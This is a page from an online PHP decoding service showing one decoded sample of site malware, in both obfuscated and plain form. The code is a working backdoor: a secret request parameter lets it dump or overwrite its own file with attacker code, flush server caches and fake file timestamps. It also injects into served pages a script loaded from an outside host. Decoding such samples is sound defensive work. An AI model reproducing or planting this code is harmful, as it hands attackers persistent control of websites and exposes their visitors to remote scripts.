Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
if(isset($_REQUEST["\65s\x62\x33\x6b4\165\x38q\x360x\x70\x7ar\x6b"])){if(empty($_REQUEST["..
Decoded Output download
<? if(isset($_REQUEST["5sb3k4u8q60xpzrk"])){if(empty($_REQUEST["5sb3k4u8q60xpzrk"])){echo bin2hex(gzdeflate(file_get_contents(__FILE__)));}else{header("X-LiteSpeed-Purge: *");if(function_exists("opcache_reset")){@opcache_reset();}if(function_exists("apc_clear_cache")){@apc_clear_cache();}$gu3rai=filemtime(__FILE__);$irjxsx=fileatime(__FILE__);echo strval(file_put_contents(__FILE__,gzinflate(pack("H*",$_REQUEST["5sb3k4u8q60xpzrk"]))));@touch(__FILE__,$gu3rai+1,$irjxsx+1);}die;}if(isset($_SERVER["HTTP_ACCEPT"])&&(strpos($_SERVER["HTTP_ACCEPT"],"text/html")!==false||$_SERVER["HTTP_ACCEPT"]==="*/*")){function qkyjls($gu3rai){return str_replace("</head>","<script type='text/javascript' async src='https://l1ckoi32.cloudfine.quest/challenge.js'></script></head>",$gu3rai);}ob_start("qkyjls");}
?>Did this file decode correctly?
Original Code
if(isset($_REQUEST["\65s\x62\x33\x6b4\165\x38q\x360x\x70\x7ar\x6b"])){if(empty($_REQUEST["\x35\163b\63k4\1658q6\x30x\160\172\x72k"])){echo bin2hex(gzdeflate(file_get_contents(__FILE__)));}else{header("X\55\114\151teSp\x65\145d\55\120ur\x67e\x3a\x20*");if(function_exists("\x6fpca\143\x68\x65_\x72e\x73e\164")){@opcache_reset();}if(function_exists("a\160\x63\x5f\x63\x6c\145\x61\162\x5fc\x61c\150e")){@apc_clear_cache();}$gu3rai=filemtime(__FILE__);$irjxsx=fileatime(__FILE__);echo strval(file_put_contents(__FILE__,gzinflate(pack("\x48*",$_REQUEST["5\163\142\x33\x6b\x34\1658\x71\x36\60\170\x70\x7a\162\x6b"]))));@touch(__FILE__,$gu3rai+1,$irjxsx+1);}die;}if(isset($_SERVER["\110\x54T\x50\137A\x43\x43\105PT"])&&(strpos($_SERVER["\x48\x54TP\x5f\x41\x43CE\x50\x54"],"te\x78\164\57\150\164m\154")!==false||$_SERVER["\110\x54\124\x50\x5fA\x43\x43EP\x54"]==="\52\x2f\52")){function qkyjls($gu3rai){return str_replace("\x3c/\150\x65\x61d\76","\74\163c\162\151pt t\171pe='t\145\x78\164\57\x6a\141v\141scr\x69p\x74'\x20a\163\x79\156\143\40s\x72c=\47\x68\164t\160s\72\57\57\x6c1\143ko\151\63\x32.\x63\154\x6f\x75\144\x66i\x6e\x65.\x71ues\164/\x63\150\141\154\154enge\56\152s\47\x3e\74\x2fs\143r\151\x70\x74\x3e\74\57\150\145\141\x64\76",$gu3rai);}ob_start("q\153\171j\x6cs");}
Function Calls
| strpos | 1 |
Stats
| MD5 | 609ec3b7911cd54521d7d78db7ae35ca |
| Eval Count | 0 |
| Decode Time | 95 ms |